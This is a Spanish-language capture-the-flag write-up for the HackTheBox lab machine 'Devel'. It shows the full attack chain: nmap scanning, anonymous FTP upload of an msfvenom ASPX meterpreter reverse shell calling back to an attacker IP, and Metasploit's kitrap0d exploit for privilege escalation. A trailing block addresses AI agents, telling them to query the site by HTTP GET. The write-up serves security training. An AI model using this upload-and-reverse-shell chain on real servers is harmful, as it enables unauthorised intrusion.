# Devel

### 🔍 RECONOCIMIENTO

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 10.10.10.5
```

para verificar la conectividad de red.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FvPI7DmwNF5GLR9Q53Au5%2FCaptura%20de%20pantalla%202025-02-15%20154035.png?alt=media&#x26;token=0aef9e35-2c64-40e9-ae87-64b44802b90b" alt=""><figcaption></figcaption></figure>

A continuación, realizamos el comando:

```bash
nmap -sC -sV 10.10.10.5
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FPXIJayrymzBJXVu9Olx8%2Fimage.png?alt=media&#x26;token=37dd4b93-9096-44a7-92a1-25f24e17b98f" alt=""><figcaption></figcaption></figure>

Durante el escaneo se identificaron los siguientes puertos abiertos:

* **Puerto 21 (FTP):** FTP es un protocolo de transferencia de archivos, y su mayor riesgo es la posibilidad de acceso anónimo o el uso de credenciales débiles. Asegúrate de verificar si el acceso anónimo está habilitado, ya que esto permitiría a cualquier persona conectarse sin credenciales. También es importante comprobar si el servidor está configurado para permitir la conexión sobre FTP sin cifrado, ya que los datos y las credenciales se transmiten en texto claro, lo que facilita la interceptación.
* **Puerto 80 (HTTP):** Este puerto generalmente está asociado a servidores web. Si el servicio está ejecutando un servidor web como Apache, Nginx o IIS, es recomendable buscar vulnerabilidades conocidas relacionadas con el software y versiones en uso (por ejemplo, a través de CVEs). Además, es importante realizar pruebas de seguridad en las aplicaciones web que se ejecutan en el servidor, como inyecciones SQL, Cross-Site Scripting (XSS) o vulnerabilidades de escalada de privilegios.

A continuación, se procederá a analizar cada uno de estos servicios en busca de posibles vectores de ataque.

### 🔎 EXPLORACIÓN

Se utiliza el comando:

```bash
sudo nmap -sCV -p21,80 -v 10.10.10.5
```

para que nos proporcione más información sobre esos puertos específicamente.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FV6P5CtDjEv3JRH1qWOuQ%2Fimage.png?alt=media&#x26;token=ab689535-dc2b-4c9c-8f83-090b07d4ed1f" alt=""><figcaption></figcaption></figure>

Revisamos el puerto 80.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F7cK9K6CI2lZ77YKwbtRP%2Fimage.png?alt=media&#x26;token=dc817aec-4812-430c-bc40-9fe4698b8941" alt=""><figcaption></figcaption></figure>

Es un **Microsoft IIS**. Como tenemos el puerto 21 con el usuario Anonymous podemos subir un archivo **.aspx** y hacer una Reverse Shell.

### 🚀 **EXPLOTACIÓN**

Creamos el archivo malicioso.

```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.7 LPORT=4444 -f aspx -o shell.aspx
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2Fe7EQVmC0rtBv6GJDENKO%2Fimage.png?alt=media&#x26;token=b9f1d6fc-7761-458b-a038-7e0714aedab4" alt=""><figcaption></figcaption></figure>

Lo subimos a través de FTP.

```bash
ftp 10.10.10.5
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FzjThBNHGzREhNhUyPBXr%2Fimage.png?alt=media&#x26;token=72fac3e6-bfd8-4f83-b30a-d2f3f4dd7f3a" alt=""><figcaption></figcaption></figure>

Ejecutamos mediante la URL y conseguimos la conexión con **meterpreter**.

```
shell
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2Fmr47aX1yBstRrrTFdD6Q%2Fimage.png?alt=media&#x26;token=48c91494-2ea5-487f-93e2-c21dcee6228b" alt=""><figcaption></figcaption></figure>

Se accede al directorio `C:\Windows\TEMP` para operar en un área temporal segura.

```bash
meterpreter > cd %TEMP%
meterpreter > pwd
```

Se mantiene la sesión abierta mientras se ejecutan otros módulos en Metasploit.

```bash
meterpreter > background
```

Buscar el módulo de recomendación de exploits locales y ejecutarlo.

```
msf6 exploit(multi/handler) > search suggester
msf6 exploit(multi/handler) > use post/multi/recon/local_exploit_suggester
msf6 post(multi/recon/local_exploit_suggester) > show options
msf6 post(multi/recon/local_exploit_suggester) > sessions -l
msf6 post(multi/recon/local_exploit_suggester) > set SESSION 1
msf6 post(multi/recon/local_exploit_suggester) > run
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FgbfmPCyz7v4pIJhsQtiJ%2Fimage.png?alt=media&#x26;token=07e09242-fb21-4d63-b85f-6e9b27f12823" alt=""><figcaption></figcaption></figure>

Nos llama la atención el exploit `exploit/windows/local/ms10_015_kitrap0d.`

```bash
msf6 exploit(windows/local/ms10_015_kitrap0d) > set LHOST 10.10.14.7
msf6 exploit(windows/local/ms10_015_kitrap0d) > sessions -l
msf6 exploit(windows/local/ms10_015_kitrap0d) > set SESSION 2
msf6 exploit(windows/local/ms10_015_kitrap0d) > run
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FU1zleoNuTNTrnoGgxPkT%2Fimage.png?alt=media&#x26;token=d1d25b84-dee2-44fd-afd6-388924399313" alt=""><figcaption></figcaption></figure>

### 🔐 **PRIVILEGIOS**

Al estar dentro y ejecutar:

```bash
whoami
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FBszWO1oNYplF7Z3aNcJQ%2Fimage.png?alt=media&#x26;token=16cfac25-3397-4029-b1d6-14c1170f2439" alt=""><figcaption></figcaption></figure>

Ya somos **root**.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2Fx6GU6aO4reBiBG5N0mQY%2Fimage.png?alt=media&#x26;token=cca8e125-4980-4cb5-a5b8-779b59e2c11a" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://beafn28.gitbook.io/beafn28/writeups/hackthebox/devel.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
